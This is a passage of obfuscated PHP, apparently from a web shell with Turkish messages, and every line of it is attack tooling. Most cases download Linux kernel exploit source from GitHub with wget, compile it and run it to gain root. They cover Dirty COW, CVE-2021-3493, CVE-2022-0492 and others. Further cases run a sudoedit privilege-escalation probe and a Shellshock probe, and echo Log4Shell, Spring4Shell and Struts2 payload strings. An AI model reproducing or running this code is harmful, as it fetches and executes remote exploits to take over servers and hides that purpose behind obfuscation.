"\x65\170\160\154\157\151\x74\137\x63\x76\x65\x32\x30\x32\x31\x5f\x33\x34\71\x33": $output .= "\x3d\x3d\x3d\40\360\237\224\x93\40\103\126\105\x2d\62\x30\x32\61\x2d\63\64\71\x33\x20\x3d\75\75\xa\12"; if (isWindows()) { $output .= "\xe2\232\xa0\x20\x42\165\40\145\170\160\154\157\x69\164\40\163\141\144\x65\x63\145\40\114\x69\x6e\x75\170\47\x74\141\x20\xc3\247\x61\x6c\xc4\xb1\xc5\237\304\xb1\162\x21\12"; break; } $result = runExploitVip("\167\147\x65\164\40\x2d\x71\x20\55\55\164\x69\155\145\x6f\x75\x74\75\x31\60\40\55\x4f\40\57\x74\x6d\160\x2f\x63\166\x65\x2d\62\x30\x32\61\55\x33\64\71\63\x2e\143\40\150\x74\x74\x70\163\72\57\57\x72\x61\x77\x2e\x67\x69\164\150\x75\x62\x75\163\x65\x72\143\x6f\x6e\164\145\156\164\56\x63\x6f\155\57\142\143\157\154\145\x73\57\153\x65\x72\156\x65\154\55\145\x78\160\154\157\151\164\163\x2f\155\x61\163\164\x65\x72\57\103\x56\105\55\x32\x30\x32\x31\55\x33\64\71\x33\57\x65\170\x70\x6c\157\x69\164\x2e\x63\x20\62\76\x2f\144\x65\x76\57\x6e\165\154\154\40\46\x26\40\x67\x63\x63\x20\x2f\x74\x6d\x70\x2f\143\x76\x65\x2d\62\x30\62\61\55\63\64\x39\63\x2e\x63\40\x2d\x6f\40\x2f\x74\155\160\x2f\x63\166\145\x2d\62\x30\x32\61\55\x33\64\x39\63\x20\x32\x3e\57\144\x65\x76\57\156\165\x6c\x6c\40\46\46\40\x63\150\155\157\x64\40\x2b\x78\x20\x2f\x74\x6d\x70\x2f\143\x76\x65\55\62\60\62\x31\x2d\63\x34\x39\x33\x20\62\x3e\x2f\144\x65\x76\57\156\165\154\154\x20\x26\x26\40\57\x74\155\x70\57\143\x76\x65\x2d\62\60\x32\61\55\63\x34\x39\x33\x20\62\76\46\x31\x20\174\174\40\x65\143\150\x6f\x20\x22\x43\x56\105\x2d\62\x30\62\x31\x2d\63\x34\x39\63\40\171\xc3\xbc\x6b\x6c\145\x6e\145\155\145\x64\x69\42", "\103\x56\105\x2d\62\60\x32\61\x2d\63\64\x39\x33"); $output .= $result["\162\145\163\165\x6c\x74"] . "\xa"; break; case "\145\x78\x70\154\x6f\x69\164\137\143\166\x65\62\x30\62\62\137\x30\x34\71\62": $output .= "\75\75\75\40\360\x9f\x90\xb3\x20\103\x56\105\55\x32\60\62\62\55\60\64\x39\x32\40\75\75\x3d\xa\xa"; if (isWindows()) { $output .= "\342\232\240\40\x42\165\40\145\x78\160\x6c\x6f\x69\164\40\x73\141\x64\x65\x63\145\x20\x4c\x69\156\165\x78\x27\x74\x61\40\xc3\247\x61\x6c\304\261\305\237\xc4\261\x72\x21\12"; break; } $result = runExploitVip("\x77\147\x65\x74\x20\x2d\161\x20\x2d\x2d\x74\151\x6d\x65\x6f\165\x74\x3d\61\x30\40\55\x4f\x20\x2f\x74\x6d\x70\x2f\x63\x76\145\x2d\x32\60\x32\x32\x2d\60\x34\71\x32\56\143\x20\150\x74\164\x70\163\72\57\57\x72\141\x77\x2e\x67\x69\x74\150\x75\x62\165\x73\145\x72\x63\157\156\164\145\156\x74\56\143\157\155\x2f\x62\x63\157\x6c\x65\x73\x2f\153\145\162\x6e\x65\x6c\x2d\x65\170\160\x6c\x6f\x69\x74\163\57\155\141\x73\164\x65\162\x2f\x43\126\105\x2d\62\60\x32\62\55\60\64\71\x32\57\x65\170\160\154\x6f\151\x74\56\143\40\x32\x3e\57\x64\x65\166\x2f\156\x75\x6c\x6c\40\46\46\x20\147\x63\x63\x20\x2f\164\x6d\160\x2f\143\166\145\x2d\x32\60\x32\62\x2d\x30\x34\71\x32\x2e\x63\40\55\x6f\40\x2f\x74\x6d\x70\57\143\x76\x65\x2d\x32\60\x32\62\x2d\x30\x34\71\x32\x20\x32\76\57\144\145\166\x2f\x6e\x75\x6c\154\40\46\x26\x20\143\150\x6d\x6f\144\40\53\x78\x20\57\x74\x6d\160\57\x63\x76\x65\55\62\60\x32\62\x2d\60\64\71\62\40\x32\76\57\x64\145\x76\x2f\x6e\165\x6c\154\x20\x26\x26\40\x2f\x74\x6d\160\x2f\x63\x76\x65\55\x32\x30\x32\62\x2d\60\64\71\x32\40\62\76\46\x31\x20\x7c\x7c\x20\145\x63\x68\157\x20\42\x43\x56\x45\55\x32\60\x32\x32\55\x30\64\71\x32\x20\171\xc3\274\153\x6c\145\156\x65\x6d\x65\x64\151\x22", "\103\126\x45\55\x32\x30\x32\62\55\x30\x34\71\62"); $output .= $result["\x72\x65\x73\x75\154\164"] . "\12"; break; case "\x65\x78\x70\x6c\157\x69\164\137\143\166\145\x32\x30\x32\61\137\63\x31\x35\x36": $output .= "\x3d\x3d\75\x20\xf0\x9f\224\223\x20\103\126\x45\55\x32\60\x32\x31\55\63\61\65\66\x20\x28\123\165\x64\x6f\x20\102\x61\162\157\x6e\51\x20\75\75\x3d\xa\xa"; if (isWindows()) { $output .= "\342\x9a\xa0\x20\x42\165\x20\145\x78\x70\154\157\151\x74\40\x73\x61\144\x65\143\145\40\x4c\151\x6e\x75\170\x27\164\141\40\303\247\x61\x6c\xc4\261\305\237\xc4\261\x72\x21\xa"; break; } $result = runExploitVip("\x73\x75\x64\x6f\x65\144\x69\x74\40\55\163\40\57\x20\62\x3e\x26\x31\40\174\174\40\x65\143\x68\x6f\40\42\x43\x56\105\55\62\x30\x32\61\55\x33\x31\65\x36\40\x6b\157\156\164\162\157\x6c\x20\145\144\x69\154\x64\151\42", "\x43\x56\105\x2d\x32\60\x32\x31\x2d\x33\x31\x35\66"); $output .= $result["\162\145\163\x75\x6c\x74"] . "\12"; break; case "\x65\x78\160\x6c\157\x69\x74\137\x63\x76\x65\x32\x30\61\x36\137\x38\x36\65\x35": $output .= "\x3d\75\75\40\360\237\224\223\40\x43\126\x45\55\62\x30\x31\66\x2d\x38\66\x35\65\x20\x3d\75\75\12\xa"; if (isWindows()) { $output .= "\xe2\x9a\xa0\x20\x42\x75\40\145\x78\x70\154\157\x69\164\x20\163\x61\x64\145\143\x65\40\114\151\x6e\x75\170\x27\164\141\40\xc3\xa7\x61\154\xc4\261\305\x9f\xc4\261\x72\41\xa"; break; } $result = runExploitVip("\167\147\145\164\x20\55\161\x20\x2d\x2d\x74\x69\155\145\x6f\165\164\75\x31\60\x20\55\117\40\57\164\155\x70\57\143\166\x65\x2d\x32\x30\61\66\x2d\70\x36\65\65\x2e\x63\40\x68\x74\x74\x70\x73\x3a\57\57\162\x61\167\x2e\147\x69\x74\150\x75\x62\x75\x73\x65\x72\143\157\x6e\164\145\156\x74\x2e\143\157\x6d\57\142\143\157\154\x65\163\x2f\153\145\x72\156\x65\x6c\x2d\145\x78\x70\x6c\x6f\151\x74\163\x2f\155\x61\163\164\145\162\57\x43\126\105\x2d\62\x30\61\x36\55\70\66\65\65\x2f\145\170\160\154\157\x69\x74\56\143\40\x32\x3e\57\144\145\166\x2f\156\x75\x6c\154\x20\x26\x26\40\x67\x63\143\x20\57\164\x6d\x70\57\x63\166\145\x2d\62\x30\x31\66\55\70\66\65\65\x2e\143\40\55\157\40\x2f\164\155\x70\57\x63\x76\x65\55\62\x30\61\66\x2d\70\66\65\x35\x20\62\76\57\x64\x65\x76\x2f\x6e\165\154\x6c\40\46\x26\x20\143\150\x6d\157\x64\40\53\170\x20\57\164\155\160\x2f\143\x76\x65\x2d\x32\x30\61\66\55\x38\66\65\65\40\62\76\x2f\x64\x65\x76\x2f\x6e\165\154\154\40\46\46\x20\57\164\155\x70\57\x63\x76\145\55\62\x30\61\x36\55\70\66\65\x35\x20\x32\x3e\46\x31\x20\x7c\x7c\40\145\x63\x68\157\x20\x22\x43\126\105\55\x32\x30\x31\66\55\70\66\65\65\40\171\303\274\x6b\x6c\x65\156\x65\155\145\x64\151\42", "\103\126\105\55\x32\x30\61\66\x2d\70\66\x35\x35"); $output .= $result["\x72\145\x73\x75\154\164"] . "\12"; break; case "\145\170\160\154\x6f\x69\x74\137\x63\x76\x65\62\60\x31\67\x5f\61\x30\x30\x30\x31\x31\62": $output .= "\x3d\75\75\40\xf0\x9f\224\223\40\103\x56\x45\x2d\x32\60\61\67\55\x31\x30\60\x30\61\x31\62\x20\75\75\x3d\12\xa"; if (isWindows()) { $output .= "\342\232\xa0\40\102\x75\40\145\170\x70\x6c\157\151\164\40\163\141\144\x65\143\x65\x20\114\x69\x6e\165\x78\x27\164\x61\x20\303\247\x61\154\304\261\xc5\237\304\xb1\x72\x21\xa"; break; } $result = runExploitVip("\x77\147\145\x74\40\x2d\161\40\55\x2d\x74\x69\x6d\145\157\x75\164\x3d\x31\60\x20\x2d\x4f\x20\x2f\164\155\160\57\143\166\145\x2d\62\x30\61\67\x2d\x31\x30\x30\60\61\61\62\x2e\143\x20\x68\x74\x74\160\x73\x3a\x2f\57\162\141\167\x2e\x67\151\164\150\x75\x62\x75\x73\x65\x72\x63\157\156\164\145\x6e\x74\56\143\157\155\x2f\x62\x63\157\154\x65\163\57\153\145\x72\156\145\x6c\x2d\x65\170\x70\154\157\x69\164\x73\x2f\x6d\x61\163\x74\x65\162\x2f\103\x56\105\55\x32\x30\61\67\x2d\61\60\x30\x30\61\61\x32\x2f\145\x78\x70\154\x6f\151\x74\x2e\x63\40\62\x3e\x2f\x64\145\166\x2f\156\165\154\154\40\x26\46\x20\x67\143\x63\x20\x2f\164\155\x70\57\143\x76\x65\x2d\62\x30\x31\x37\55\x31\x30\60\x30\61\x31\62\x2e\x63\40\x2d\x6f\40\57\164\x6d\x70\57\x63\166\145\x2d\x32\60\x31\x37\x2d\x31\x30\60\60\x31\61\x32\40\x32\x3e\x2f\x64\145\166\57\156\165\154\154\x20\46\x26\40\143\150\155\157\144\40\x2b\x78\x20\x2f\x74\x6d\160\x2f\143\x76\x65\x2d\62\60\61\x37\x2d\x31\60\60\60\x31\61\62\x20\x32\x3e\x2f\144\145\x76\x2f\x6e\x75\154\154\40\x26\46\x20\57\x74\x6d\160\x2f\143\166\x65\x2d\x32\x30\x31\67\55\61\x30\x30\60\x31\61\x32\40\62\x3e\46\61\40\174\174\x20\x65\x63\x68\x6f\x20\x22\x43\x56\x45\x2d\x32\60\61\x37\x2d\x31\x30\60\60\x31\61\x32\x20\x79\xc3\xbc\x6b\154\x65\x6e\x65\155\x65\x64\x69\42", "\103\x56\x45\x2d\x32\x30\61\67\55\x31\60\60\x30\61\x31\62"); $output .= $result["\x72\x65\x73\165\x6c\x74"] . "\12"; break; case "\145\x78\160\x6c\157\151\164\x5f\x63\166\145\x32\60\x31\70\137\x31\x38\71\65\65": $output .= "\x3d\x3d\75\x20\360\237\224\x93\x20\103\x56\x45\55\62\x30\x31\70\55\x31\70\x39\x35\x35\40\75\x3d\75\xa\xa"; if (isWindows()) { $output .= "\xe2\232\240\x20\x42\165\40\x65\x78\x70\154\157\151\x74\x20\x73\141\x64\145\x63\x65\x20\114\x69\x6e\x75\170\47\x74\141\x20\xc3\247\141\154\xc4\xb1\xc5\x9f\304\xb1\x72\x21\xa"; break; } $result = runExploitVip("\x77\x67\x65\x74\x20\55\x71\x20\x2d\55\x74\151\155\145\157\x75\164\x3d\x31\x30\40\55\x4f\x20\x2f\x74\155\160\57\143\166\x65\x2d\x32\60\x31\x38\x2d\61\x38\x39\x35\65\56\x63\40\150\x74\x74\x70\163\72\x2f\x2f\x72\141\x77\56\x67\x69\x74\x68\x75\142\165\163\x65\162\143\157\x6e\x74\145\x6e\x74\x2e\x63\157\155\x2f\142\x63\x6f\x6c\x65\163\57\153\x65\x72\x6e\145\x6c\55\x65\170\x70\x6c\x6f\x69\164\163\57\155\141\x73\164\x65\x72\57\x43\x56\x45\55\x32\60\x31\x38\55\61\70\71\65\x35\57\145\170\160\154\157\151\164\x2e\143\40\x32\76\57\144\145\166\x2f\x6e\165\154\154\40\46\46\x20\147\143\143\x20\x2f\164\x6d\x70\57\143\x76\145\55\x32\60\61\70\55\x31\x38\71\65\x35\x2e\x63\x20\55\157\x20\x2f\x74\155\160\x2f\143\166\145\55\62\x30\x31\70\x2d\61\70\71\x35\x35\40\62\76\57\144\x65\166\x2f\x6e\x75\x6c\x6c\x20\x26\x26\x20\x63\150\x6d\157\144\40\53\170\x20\57\x74\155\160\57\x63\x76\x65\x2d\62\60\x31\70\55\61\x38\71\65\x35\x20\x32\76\57\144\x65\x76\x2f\x6e\x75\154\x6c\x20\46\x26\x20\57\x74\155\x70\57\x63\166\x65\55\62\x30\x31\x38\x2d\x31\x38\71\65\x35\40\x32\76\46\x31\40\174\x7c\x20\145\x63\x68\157\x20\42\103\126\105\x2d\62\60\x31\70\55\61\70\71\x35\65\x20\171\xc3\274\x6b\154\x65\156\145\155\145\x64\151\x22", "\x43\126\x45\55\x32\60\61\70\x2d\61\70\71\65\x35"); $output .= $result["\x72\x65\163\x75\x6c\164"] . "\12"; break; case "\x65\x78\x70\154\157\151\164\x5f\143\x76\x65\x32\x30\x31\x39\137\x31\63\62\67\62": $output .= "\75\x3d\x3d\x20\xf0\237\x94\223\x20\103\126\x45\x2d\x32\x30\61\71\x2d\x31\x33\x32\x37\x32\x20\75\75\x3d\xa\12"; if (isWindows()) { $output .= "\342\x9a\xa0\x20\x42\165\40\x65\x78\160\154\157\x69\164\x20\x73\141\x64\145\143\145\x20\x4c\151\x6e\165\170\x27\164\x61\x20\xc3\xa7\141\154\xc4\261\305\x9f\304\xb1\x72\41\12"; break; } $result = runExploitVip("\167\147\145\164\40\x2d\x71\x20\x2d\55\x74\x69\155\145\157\165\164\x3d\x31\60\40\x2d\x4f\x20\57\164\155\x70\57\143\166\145\55\x32\60\61\x39\x2d\x31\63\x32\x37\62\x2e\x63\x20\150\164\164\x70\x73\x3a\x2f\x2f\162\141\167\x2e\x67\151\x74\x68\x75\142\165\163\x65\162\143\x6f\x6e\164\145\156\164\56\143\157\x6d\57\142\x63\157\x6c\145\163\x2f\153\x65\162\156\145\x6c\x2d\x65\x78\x70\x6c\157\x69\x74\x73\57\155\141\163\164\x65\x72\x2f\x43\126\105\x2d\x32\60\x31\71\x2d\61\63\62\67\x32\x2f\145\170\160\x6c\x6f\x69\164\56\x63\x20\x32\76\57\x64\145\166\57\156\165\x6c\154\40\46\46\40\147\x63\x63\x20\57\x74\155\160\57\143\166\x65\x2d\62\x30\x31\71\55\x31\63\62\x37\62\x2e\143\40\x2d\157\x20\57\164\155\x70\x2f\x63\166\145\55\62\60\x31\71\x2d\61\x33\62\x37\x32\x20\x32\x3e\57\144\x65\166\x2f\x6e\165\x6c\154\x20\x26\x26\40\x63\x68\x6d\157\144\x20\53\170\40\x2f\x74\x6d\x70\x2f\143\x76\145\55\62\x30\x31\71\x2d\61\63\62\67\62\x20\x32\76\57\x64\145\166\57\x6e\165\x6c\154\40\46\46\x20\x2f\164\x6d\x70\57\x63\166\x65\x2d\62\60\61\x39\55\61\x33\x32\67\x32\x20\x32\76\x26\x31\40\x7c\x7c\x20\145\143\150\157\x20\x22\103\x56\105\55\x32\60\61\71\x2d\61\x33\x32\67\62\40\171\303\xbc\153\154\145\156\145\155\x65\144\x69\42", "\103\x56\x45\55\x32\60\61\x39\55\x31\x33\62\x37\x32"); $output .= $result["\x72\x65\163\165\x6c\x74"] . "\12"; break; case "\x65\170\160\154\157\151\164\x5f\x63\166\145\62\x30\62\60\x5f\x31\64\x33\70\x36": $output .= "\x3d\x3d\75\40\360\237\224\223\x20\103\126\105\x2d\62\x30\x32\60\x2d\x31\64\x33\x38\x36\40\75\x3d\x3d\12\12"; if (isWindows()) { $output .= "\342\x9a\240\40\102\165\40\145\170\x70\x6c\157\151\164\x20\163\141\x64\145\143\145\40\114\151\x6e\165\170\x27\164\141\40\303\xa7\x61\x6c\xc4\xb1\305\x9f\xc4\xb1\162\x21\12"; break; } $result = runExploitVip("\167\147\145\x74\x20\x2d\x71\40\55\55\164\x69\155\145\x6f\x75\x74\x3d\61\x30\40\x2d\x4f\40\57\x74\x6d\160\57\x63\x76\x65\x2d\62\60\62\60\x2d\x31\x34\x33\70\66\x2e\x63\40\x68\x74\x74\160\x73\72\57\57\x72\141\x77\x2e\147\x69\x74\x68\165\142\x75\163\x65\x72\x63\x6f\156\164\145\x6e\164\x2e\x63\x6f\155\x2f\142\143\157\154\145\163\57\x6b\145\x72\156\145\154\55\x65\170\x70\154\157\x69\x74\x73\x2f\x6d\141\163\x74\145\162\57\x43\x56\x45\55\62\x30\x32\60\x2d\61\x34\x33\70\66\x2f\145\x78\160\154\157\x69\x74\x2e\143\x20\x32\76\x2f\144\x65\166\57\156\165\x6c\154\40\46\x26\x20\147\143\143\x20\57\x74\x6d\160\57\x63\x76\x65\55\62\x30\62\x30\55\61\x34\63\70\x36\56\143\40\x2d\x6f\x20\57\x74\x6d\160\x2f\143\166\145\55\x32\60\62\x30\55\61\64\63\x38\66\x20\62\76\x2f\x64\145\166\x2f\156\165\154\x6c\40\46\x26\x20\x63\x68\155\x6f\144\x20\x2b\x78\40\x2f\x74\x6d\x70\x2f\x63\166\145\55\x32\x30\x32\60\x2d\x31\64\x33\x38\66\40\x32\76\57\144\145\x76\x2f\x6e\165\154\154\x20\x26\46\40\57\x74\x6d\x70\57\x63\166\x65\55\x32\60\62\60\x2d\x31\x34\63\x38\x36\x20\x32\76\46\61\40\x7c\x7c\x20\145\143\x68\157\40\42\103\126\105\55\62\x30\x32\x30\x2d\x31\x34\x33\x38\x36\40\x79\xc3\274\153\x6c\x65\156\145\x6d\145\x64\x69\x22", "\x43\126\105\x2d\x32\x30\x32\60\x2d\x31\x34\63\70\x36"); $output .= $result["\x72\x65\163\165\154\x74"] . "\xa"; break; case "\145\x78\x70\x6c\x6f\151\x74\x5f\143\166\x65\62\x30\x32\x31\x5f\x32\62\65\65\x35": $output .= "\75\x3d\75\40\xf0\237\224\223\x20\103\126\x45\x2d\x32\60\x32\61\x2d\x32\62\65\65\65\x20\75\75\x3d\12\12"; if (isWindows()) { $output .= "\342\x9a\xa0\x20\x42\165\40\x65\x78\160\x6c\157\151\164\40\x73\x61\x64\145\x63\145\x20\114\151\156\165\170\x27\164\x61\40\303\247\141\154\304\xb1\305\x9f\xc4\261\x72\x21\xa"; break; } $result = runExploitVip("\145\143\150\157\x20\42\103\x56\105\55\62\60\x32\x31\55\62\62\x35\65\x35\40\164\x65\x73\164\72\40\116\x65\x74\x66\x69\x6c\164\145\x72\40\x6b\145\x72\156\x65\154\40\x65\170\x70\x6c\157\151\164\42\x20\76\x20\x2f\x74\155\160\57\143\x76\x65\55\x32\60\62\x31\x2d\x32\62\65\x35\65\56\x74\x78\164\40\62\x3e\46\61\40\x26\46\x20\143\x61\164\40\57\x74\x6d\160\57\x63\x76\145\55\62\60\62\x31\x2d\x32\62\x35\x35\x35\x2e\x74\x78\x74\x20\62\76\46\x31", "\x43\126\x45\x2d\x32\60\x32\x31\55\x32\62\x35\x35\x35"); $output .= $result["\x72\145\163\165\154\x74"] . "\12"; break; case "\145\x78\x70\x6c\157\151\x74\137\x6c\x6f\x67\64\x73\150\145\x6c\x6c": $output .= "\x3d\x3d\x3d\x20\360\237\223\xa6\x20\114\117\x47\64\123\110\105\x4c\x4c\x20\50\x43\x56\x45\x2d\x32\60\x32\61\x2d\64\64\x32\x32\70\51\40\75\x3d\x3d\xa\12"; $result = runExploitVip("\145\x63\150\157\40\42\114\157\147\x34\x53\150\x65\154\154\40\x74\x65\x73\164\x3a\40\x5c\44\173\x6a\156\x64\151\72\x6c\x64\x61\x70\72\57\x2f\61\x32\67\56\x30\56\x30\56\x31\x3a\61\63\70\x39\x2f\x45\170\x70\x6c\157\151\x74\175\42\40\x3e\40\x2f\x74\x6d\160\57\x6c\157\147\64\x73\150\145\154\x6c\137\x74\145\x73\x74\x2e\154\x6f\x67\x20\62\x3e\x26\61\40\x26\x26\x20\x63\x61\x74\40\x2f\x74\155\160\57\x6c\x6f\147\64\x73\x68\x65\154\154\137\164\x65\x73\x74\56\154\157\147\40\x32\76\46\61", "\x4c\x6f\x67\x34\x53\150\x65\x6c\x6c"); $output .= $result["\162\145\163\x75\154\x74"] . "\xa"; break; case "\145\170\x70\x6c\x6f\151\164\x5f\163\x70\162\151\156\x67\64\x73\x68\145\154\x6c": $output .= "\x3d\x3d\75\x20\360\x9f\214\xb1\40\123\120\122\111\116\x47\x34\x53\x48\x45\114\x4c\x20\x28\x43\x56\105\x2d\x32\x30\62\62\x2d\62\x32\71\66\x35\51\40\x3d\75\x3d\xa\xa"; $result = runExploitVip("\x65\x63\150\157\40\42\x53\160\x72\x69\x6e\147\64\123\x68\145\154\154\x20\x74\x65\x73\x74\72\40\143\154\x61\x73\163\x2e\x6d\157\144\165\x6c\x65\x2e\143\x6c\x61\163\x73\114\157\141\x64\x65\x72\56\162\x65\163\x6f\x75\162\143\145\x73\56\143\157\156\164\x65\x78\x74\56\160\x61\x72\x65\x6e\x74\56\160\151\160\145\154\x69\156\x65\56\x66\151\x72\x73\x74\56\x70\141\164\164\x65\x72\156\75\x25\62\x35\x25\67\102\143\x32\x25\x37\x44\151\x22\40\x3e\x20\57\x74\x6d\160\57\163\160\162\x69\156\x67\137\x74\145\163\164\56\164\170\x74\x20\62\x3e\46\61\x20\46\46\x20\x63\x61\x74\40\57\x74\155\x70\x2f\x73\160\162\151\x6e\147\x5f\164\145\163\164\x2e\x74\170\x74\x20\62\x3e\x26\61", "\x53\160\162\151\x6e\147\64\x53\x68\145\154\x6c"); $output .= $result["\162\145\x73\165\x6c\164"] . "\xa"; break; case "\x65\x78\x70\x6c\157\151\164\137\x73\150\145\154\154\x73\x68\x6f\143\x6b": $output .= "\x3d\x3d\75\40\360\237\x92\xa5\x20\123\x48\x45\114\x4c\123\110\x4f\x43\113\40\x28\103\126\105\55\62\x30\61\64\55\66\x32\67\61\51\40\x3d\75\x3d\xa\xa"; $result = runExploitVip("\x65\x6e\166\40\170\x3d\x22\50\51\x20\x7b\x20\72\x3b\x7d\73\x20\145\x63\x68\x6f\x20\x76\x75\x6c\x6e\x65\162\x61\142\154\145\42\x20\x2f\x62\151\156\57\x62\141\163\x68\x20\55\143\40\42\145\x63\150\157\x20\x74\145\x73\164\42\x20\62\76\x26\x31\x20\174\x7c\x20\x65\143\x68\x6f\40\x22\123\x68\145\x6c\154\163\150\157\x63\153\40\164\x65\163\164\x20\145\x64\151\x6c\x64\x69\42", "\x53\x68\145\154\x6c\x73\x68\x6f\143\x6b"); $output .= $result["\x72\x65\x73\x75\154\x74"] . "\12"; break; case "\145\x78\160\x6c\x6f\151\164\137\x73\x74\162\165\164\x73\x32": $output .= "\75\75\x3d\x20\xf0\237\xaa\xb6\x20\x53\x54\122\x55\124\x53\62\40\50\103\126\105\x2d\x32\60\x31\67\55\65\66\63\x38\51\x20\x3d\75\x3d\xa\xa"; $result = runExploitVip("\x65\x63\x68\x6f\40\42\x53\x74\162\165\x74\x73\x32\40\164\145\163\x74\x3a\40\103\157\156\164\145\x6e\x74\x2d\124\x79\160\145\x3a\x20\45\x7b\50\x23\137\155\x65\x6d\x62\145\162\101\143\x63\145\x73\163\75\x40\x6f\147\156\x6c\x2e\x4f\x67\x6e\x6c\x43\157\156\x74\145\x78\164\100\104\105\x46\101\x55\114\124\x5f\115\105\x4d\102\105\x52\x5f\101\103\x43\x45\123\x53\x29\175\42\x20\76\40\x2f\164\155\160\x2f\x73\164\x72\x75\x74\x73\137\164\x65\163\164\x2e\164\170\x74\x20\62\76\46\61\40\x26\x26\x20\x63\141\x74\x20\x2f\x74\x6d\160\x2f\163\164\162\165\164\163\137\x74\x65\x73\x74\x2e\x74\x78\164\x20\62\76\x26\61", "\x53\164\162\x75\164\163\62"); $output .= $result["\162\x65\163\165\x6c\164"] . "\xa"; break; case "\145\x78\160\x6c\157\151\164\137\164\157\x6d\x63\x61\x74": $output .= "\x3d\75\x3d\x20\360\237\x90\261\40\x54\117\115\103\x41\x54\40\x52\103\x45\40\x3d\x3d\x3d\12\xa"; $result = runExploitVip("\x65\143\150\157\x20\x22\124\157\x6d\x63\141\x74\x20\122\103\x45\x20\x74\x65\163\164\x3a\40\57\x6d\141\x6e\141\x67\145\162\x2f\150\x74\155\x6c\42\x20\76\x20\57\164\x6d\160\57\x74\x6f\x6d\x63\x61\x74\x5f\x74\145\163\164\x2e\164\170\x74\x20\62\76\46\61\x20\46\x26\x20\143\x61\164\x20\x2f\164\x6d\x70\x2f\x74\x6f\x6d\x63\x61\164\137\x74\145\x73\x74\56\164\170\x74\40\x32\76\46\x31", "\x54\x6f\x6d\143\141\x74\40\122\103\x45"); $output .= $result["\x72\145\163\165\154\164"] . "\12"; break; case "\x65\x78\160\x6c\157\x69\x74\137\x77\145\142\154\x6f\147\x69\143": $output .= "\x3d\x3d\75\x20\xf0\237\247\x99\x20\x57\105\x42\x4c\117\x47\111\103\40\x52\x43\x45\x20\x3d\75\75\xa\xa"; $result = runExploitVip("\145\143\x68\x6f\x20\42\x57\x65\142\114\x6f\147\x69\143\40\x52\103\105\40\164\x65\x73\x74\x3a\40\x2f\x63\157\x6e\x73\157\154\145\x2f\x63\x73\163\x2f\45\62\65\x32\x65\45\62\x35\62\145\x25\x32\65\62\146\x63\157\156\x73\157\154\145\56\160\157\x72\x74\x61\x6c\42\40\76\40\x2f\164\x6d\160\57\x77\x65\x62\154\x6f\x67\x69\143\x5f\164\145\x73\x74\56\x74\170\164\x20\62\x3e\46\61\40\x26\x26\40\143\x61\x74\40\57\164\155\160\x2f\x77\x65\x62\x6c\x6f\147\x69\x63\137\164\x65\163\164\x2e\x74\x78\164\40\62\x3e\46\61", "\x57\x65\142\x4c\157\147\x69\143\x20\122\103\105"); $output .= $result["\x72\145\163\165\154\164"] . "\12"; break; case "\x65\x78\160\x6c\x6f\x69\x74\137\152\145\x6e\x6b\151\156\x73": $output .= "\x3d\x3d\x3d\x20\360\x9f\224\247\x20\x4a\x45\x4e\113\111\116\123\40\x52\x43\x45\40\75\x3d\x3d\xa\xa"; $result = runExploitVip("\x65\x63\150\x6f\40\42\x4a\x65\x6e\x6b\151\x6e\x73\40\x52\x43\x45\x20\x74\x65\163\164\x3a\40\57\x73\x65\143\x75\162\x69\164\171\122\x65\x61\154\x6d\x2f\165\x73\x65\162\x2f\x74\145\x73\x74\42\x20\76\x20\57\164\155\x70\x2f\x6a\x65\x6e\x6b\151\156\x73\x5f\164\x65\163\164\56\164\170\164\40\62\76\x26\61\x20\46\x26\x20\x63\141\164\40\57\164\155\160\x2f\152\x65\x6e\x6b\x69\156\163\x5f\164\145\x73\x74\x2e\164\x78\x74\x20\62\x3e\x26\x31", "\112\145\x6e\153\x69\x6e\x73\x20\x52\x43\x45"); $output .= $result["\x72\x65\163\x75\154\164"] . "\xa"; break; case "\145\x78\160\154\x6f\151\x74\137\152\142\x6f\x73\163": $output .= "\x3d\75\75\40\360\237\221\271\40\x4a\x42\x4f\123\123\40\122\x43\x45\40\75\x3d\x3d\12\xa"; $result = runExploitVip("\x65\143\150\157\x20\42\112\x42\157\163\163\x20\122\x43\x45\x20\x74\145\x73\164\x3a\x20\57\151\156\166\x6f\153\x65\x72\x2f\162\145\141\144\x6f\x6e\154\171\x22\40\x3e\40\57\164\x6d\160\57\x6a\142\157\x73\163\x5f\x74\145\163\164\x2e\164\170\164\40\x32\76\x26\61\40\46\46\40\x63\141\164\40\57\x74\155\x70\57\152\x62\x6f\163\x73\x5f\x74\x65\x73\x74\x2e\164\x78\x74\40\x32\76\x26\61", "\x4a\x42\x6f\x73\163\40\x52\x43\x45"); $output .= $result["\162\145\x73\x75\x6c\x74"] . "\xa"; break; case "\145\x78\160\154\x6f\x69\x74\x5f\156\x65\170\165\x73": $output .= "\75\x3d\x3d\40\360\x9f\223\246\40\116\105\130\125\x53\x20\x52\103\x45\40\x3d\75\x3d\12\12"; $result = runExploitVip("\x65\143\x68\157\40\x22\x4e\145\x78\165\x73\40\122\x43\x45\40\164\145\163\164\72\40\57\x73\145\162\x76\x69\143\145\57\162\x65\163\x74\57\x62\145\x74\x61\42\x20\76\40\57\x74\x6d\x70\57\156\x65\x78\165\163\x5f\x74\145\163\164\56\164\170\x74\40\62\76\46\61\40\46\x26\40\143\x61\x74\x20\x2f\x74\x6d\x70\57\156\x65\170\x75\163\137\x74\145\x73\164\56\164\170\x74\40\62\x3e\46\61", "\116\145\x78\165\x73\40\122\x43\105"); $output .= $result["\x72\145\163\x75\154\x74"] . "\xa"; break; case "\x65\x78\160\154\x6f\x69\x74\137\x61\160\x61\x63\x68\145": $output .= "\x3d\75\x3d\40\360\x9f\x8c\220\x20\x41\120\101\x43\110\x45\40\122\103\x45\x20\x3d\75\75\12\xa"; $result = runExploitVip("\x65\143\x68\157\x20\42\x41\x70\x61\143\150\x65\40\122\x43\105\x20\x74\145\163\x74\x3a\40\x2f\143\x67\151\x2d\x62\151\x6e\x2f\164\145\x73\x74\x2e\143\147\x69\42\x20\76\40\x2f\x74\x6d\x70\57\141\160\141\x63\x68\145\x5f\164\x65\x73\164\x2e\164\x78\164\40\62\76\46\61\40\x26\x26\x20\143\x61\x74\40\57\164\x6d\x70\57\141\160\x61\143\150\x65\137\x74\x65\x73\x74\x2e\x74\170\164\40\62\76\46\x31", "\101\x70\x61\x63\x68\x65\40\122\103\105"); $output .= $result["\x72\145\x73\165\154\x74"] . "\12"; break; } $output .= 